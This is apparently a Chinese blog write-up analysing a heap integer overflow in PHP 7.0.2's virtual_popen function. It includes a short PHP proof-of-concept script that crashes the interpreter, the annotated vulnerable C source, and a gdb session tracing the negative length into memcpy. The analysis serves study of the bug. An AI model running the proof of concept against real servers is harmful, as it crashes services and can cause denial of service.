0x01 前言
这个漏洞是玄武实验室的人挖出来的,我这边做一下分享吧。我们不是漏洞挖掘者,只是漏洞搬运者。好了,进入正题吧,这篇文章主要讲述的是基于堆的整数溢出,找了好久终于找到一个比较简单易懂的漏洞进行分析。
0x02 漏洞分析
首先放poc:<?php
ini_set('memory_limit', -1);
$cmd = str_repeat("/", 0xfffffff0);
system($cmd);
这段代码看起来非常简单,假如内存不够的话,运行这段代码会报out of memory错误,poc中的system函数可以替换其它命令执行函数,只要是调用了virtual_popen这个函数就可以。下面先看关键代码:#else /* Unix */
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
int command_length; //int型的长度在32位中为0x7fffffff
int dir_length, extra = 0;
char *command_line;
char *ptr, *dir;
FILE *retval;
command_length = strlen(command); //这里统计命令的字符串长度,
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
while (dir_length > 0) {
if (*dir == '\'') extra+=3;
dir++;
dir_length--;
}
dir_length = CWDG(cwd).cwd_length;//脚本路径的长度
dir = CWDG(cwd).cwd;
ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1); //这边变成了emalloc(0),等会看调试信息
if (!command_line) {
return NULL;
}
memcpy(ptr, "cd ", sizeof("cd ")-1);
ptr += sizeof("cd ")-1;
if (CWDG(cwd).cwd_length == 0) {
*ptr++ = DEFAULT_SLASH;
} else {
*ptr++ = '\'';
while (dir_length > 0) {
switch (*dir) {
case '\'':
*ptr++ = '\'';
*ptr++ = '\\';
*ptr++ = '\'';
/* fall-through */
default:
*ptr++ = *dir;
}
dir++;
dir_length--;
}
*ptr++ = '\'';
}
*ptr++ = ' ';
*ptr++ = ';';
*ptr++ = ' ';
memcpy(ptr, command, command_length+1); //这里在转换的时候负数变成正数,大于申请的堆空间,所以复制后造成溢出
retval = popen(command_line, type);
efree(command_line);
return retval;
}
这段代码在zend_virtual_cwd.c的1853行,可以看出是unix环境使用的函数。这个函数是执行命令的底层调用函数,具体我就不往上找了麻烦,从代码中就可以大致看的出来。php执行命令的函数还是挺多的,我就不列举了,在poc中我用的是system函数。具体原因请看代码注释。
如果这样还不明白的话,可以看gdb调试信息:root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php
Reading symbols from php-7.0.2/sapi/cli/php...done.
(gdb) b zend_virtual_cwd.c:1873
Breakpoint 1 at 0x84d8b4: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1873.
(gdb) b zend_virtual_cwd.c:1904
Breakpoint 2 at 0x84d979: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1904.
(gdb) r
Starting program: /root/php-7.0.2/sapi/cli/php -n test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, virtual_popen (
command=command@entry=0x7ffef1200018 '/' ...,
type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1873
1873ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
(gdb) p command_length
$1 = -16
(gdb) p sizeof("cd '' ; ")
$2 = 9
(gdb) p dir_length
$3 = 5
(gdb) p extra
$4 = 0 //可以看到这边加起来为0,其实这样比较容易理解。
(gdb) c
Continuing.
Breakpoint 2, virtual_popen (
command=command@entry=0x7ffef1200018 '/' ...,
type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1904
1904memcpy(ptr, command, command_length+1);
(gdb) p command_length+1
$5 = -15
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
152../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
我想看到这里也看明白了,正是因为command_length的类型为int,后面再malloc和memcpy中又转化size_t类型,然后造成整数溢出。这个漏洞我感觉是最容易理解。exp我现在还不咋会写,等后续可能会学习一下怎么在实际漏洞中的编写。容我吹个牛逼,要不是有人先发现了,我觉的这个漏洞发现者会是。。。
0x03 小结
虽然这篇文章我老早就写好了,但是到现在还没明白,关于php的内存管理机制,不过本文不用理解那些东西,到后面的UAF就需要有很深的了解,所以到现在我还没明白php的UAF的原理与利用。欢迎加我QQ 499671216一起讨论。如果本章内容讲解错误,欢迎指出。
参考链接: